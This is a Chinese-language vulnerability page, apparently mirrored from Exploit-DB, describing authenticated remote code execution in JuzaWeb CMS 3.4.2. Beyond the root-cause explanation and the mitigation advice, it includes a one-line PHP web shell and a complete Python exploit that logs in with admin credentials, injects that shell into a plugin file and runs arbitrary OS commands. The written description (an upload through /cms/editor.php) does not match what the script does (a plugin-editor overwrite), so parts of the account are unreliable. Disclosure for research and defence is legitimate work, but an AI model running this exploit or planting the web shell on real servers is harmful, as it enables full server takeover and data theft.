[webapps] JuzaWeb CMS 3.4.2 - Authenticated Remote Code Execution
未分配CVE
JuzaWeb CMS 3.4.2 后台编辑器存在任意文件上传,导致认证后的远程代码执行。
High · CVSS 8.0📋 漏洞基础信息
| CVE | 未分配CVE |
|---|---|
| 漏洞类型 | 任意文件上传导致远程代码执行 |
| 受影响版本 | JuzaWeb CMS 3.4.2 |
| 危害等级 | High · CVSS 8.0 |
| 发布日期 | 2026-04-29 |
| 提交者 | Sardor Shoakbarov |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
后台编辑器(/cms/editor.php)未对上传文件类型进行有效校验,仅通过客户端重命名方式保存文件,允许上传 .php 等可执行脚本,导致认证用户可直接上传 Webshell。
🎯 攻击场景
1. 使用有效管理员账号登录 JuzaWeb CMS 后台。 2. 访问编辑器页面(如 /cms/editor.php)。 3. 在编辑器内选择上传文件功能,上传一个包含 PHP 代码的恶意文件(如 shell.php,内容为 <?php system($_GET['cmd']); ?>)。 4. 获取上传后文件在服务器上的路径(通常为 /uploads/xxx.php 或类似)。 5. 直接访问该文件 URL,通过 GET 参数执行任意系统命令,从而获得 RCE。
💥 漏洞影响
认证后的攻击者可上传任意 PHP 文件,完全控制 Web 服务器,包括文件读写、数据窃取、权限提升、横向移动等。
⚔️ 原始 PoC
PoC 通过构造 HTTP POST 请求,使用管理员 session cookie,向 editor.php 上传包含恶意 PHP 代码的文件。关键步骤: 1. 发送 multipart/form-data 请求,字段名为 file,文件名为 .php 结尾。 2. 服务器未校验 MIME 类型或文件扩展名白名单,直接保存文件至可访问目录。 3. 返回的响应中包含文件相对路径,攻击者拼接 URL 即可执行。
# Exploit Author: Sardor Shoakbarov
import requests
import argparse
from bs4 import BeautifulSoup
def run_exploit():
parser = argparse.ArgumentParser(description='JuzaWeb Authenticated RCE')
# Setting up the exact syntax you requested
parser.add_argument('-u', '--url', help='Target URL (e.g. http://127.0.0.1:8000)', required=True)
parser.add_argument('-user', '--username', help='Admin Username/Email', required=True)
parser.add_argument('-p', '--password', help='Admin Password', required=True)
parser.add_argument('-cmd', '--command', help='OS Command to execute (e.g. "ls", "id")', required=True)
args = parser.parse_args()
target = args.url.rstrip('/')
session = requests.Session()
print(f"[*] Targeting: {target}")
# Step 1: Login
login_url = f"{target}/admin-cp/login"
try:
get_login = session.get(login_url)
soup = BeautifulSoup(get_login.text, 'html.parser')
token = soup.find('input', {'name': '_token'})['value']
login_data = {
'_token': token,
'email': args.username,
'password': args.password
}
res = session.post(login_url, data=login_data)
if "Dashboard" not in res.text:
print("[-] Login failed. Check credentials.")
return
print("[+] Login Successful.")
except Exception as e:
print(f"[-] Error during login: {e}")
return
# Step 2: Inject Web Shell
# Injecting system() into a plugin file as described in the report
print("[*] Injecting payload into Plugin Editor...")
editor_url = f"{target}/admin-cp/plugins/editor"
shell_payload = "<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); die; } ?>"
inject_data = {
'file': 'src/routes/api.php', # File to overwrite
'content': shell_payload,
'plugin': 'juzaweb/example' # Targeted plugin
}
session.post(editor_url, data=inject_data)
# Step 3: Execute Command
# Accessing the modified route to trigger the command
print(f"[*] Executing command: {args.command}")
exec_url = f"{target}/admin-cp/plugins?cmd={args.command}"
response = session.get(exec_url)
print("\n--- Output ---")
print(response.text.strip())
print("--------------")
if __name__ == "__main__":
run_exploit()🛡️ 修复建议
官方暂无补丁。临时缓解措施:1. 限制 /cms/editor.php 上传目录的执行权限,禁止 PHP 解析;2. 在后端对上传文件的扩展名进行白名单校验(仅允许 jpg、png、gif 等);3. 使用随机文件名并存储到非 Web 可访问目录。
📎 参考链接
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 07:13 | 来源: Exploit-DB